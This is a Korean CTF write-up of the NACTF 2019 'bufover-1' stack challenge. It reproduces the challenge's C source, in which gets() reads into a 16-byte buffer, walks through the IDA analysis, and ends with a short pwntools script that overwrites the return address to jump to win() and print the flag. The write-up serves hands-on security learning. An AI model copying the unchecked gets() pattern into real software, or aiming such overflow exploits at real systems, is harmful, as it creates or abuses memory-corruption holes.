CTF Review

[ stack ] NACTF 2019 bufover-1

S!_Jmini 2019. 10. 3. 14:26

#1. 문제 살펴보기

 

실행화면

 

#include <stdio.h>

void win()
{
	printf("You win!\n");
	char buf[256];
	FILE* f = fopen("./flag.txt", "r");
	if (f == NULL)
	{
		puts("flag.txt not found - ping us on discord if this is happening on the shell server\n");
	}
	else
	{
		fgets(buf, sizeof(buf), f);
		printf("flag: %s\n", buf);
	}
}

void vuln()
{
	char buf[16];
	printf("Type something>");
	gets(buf);
	printf("You typed %s!\n", buf);
}

int main()
{
	/* Disable buffering on stdout */
	setvbuf(stdout, NULL, _IONBF, 0);

	vuln();
	return 0;
}

 

 

 

보호기법 확인

 

 

 

#2. 문제 분석하기

 

buffer overflow 취약점 발견

 

 

IDA를 통한 분석

 

 

 

크기가 왜 다른걸까?

...더보기

뭐든지 알아가보자

 

#3. 삽질

 

IDA에 나온 buf의 크기를 기준으로 값대입

 

 

 

정상적으로 잘 들어간것을 확인할 수 있다.

 

 

 

 

 

 

 

 

이제 ret값을 win함수 주소로 덮으면 flag.txt 파일을 읽어오며 flag를 가져올 것이다.

 

 

 

 

 

 

 

#4. Exploit Code 

 

 

 

from pwn import*
p = process('./bufover-1')

pay = ''
pay += 'a'*0x18
pay += 'b'*4
pay += p32(0x080491B2)
p.sendline(pay)

p.interactive()

 

 

 

 

local 환경에서 exploit 했기때문에 flag.txt 파일을 만들어두었다.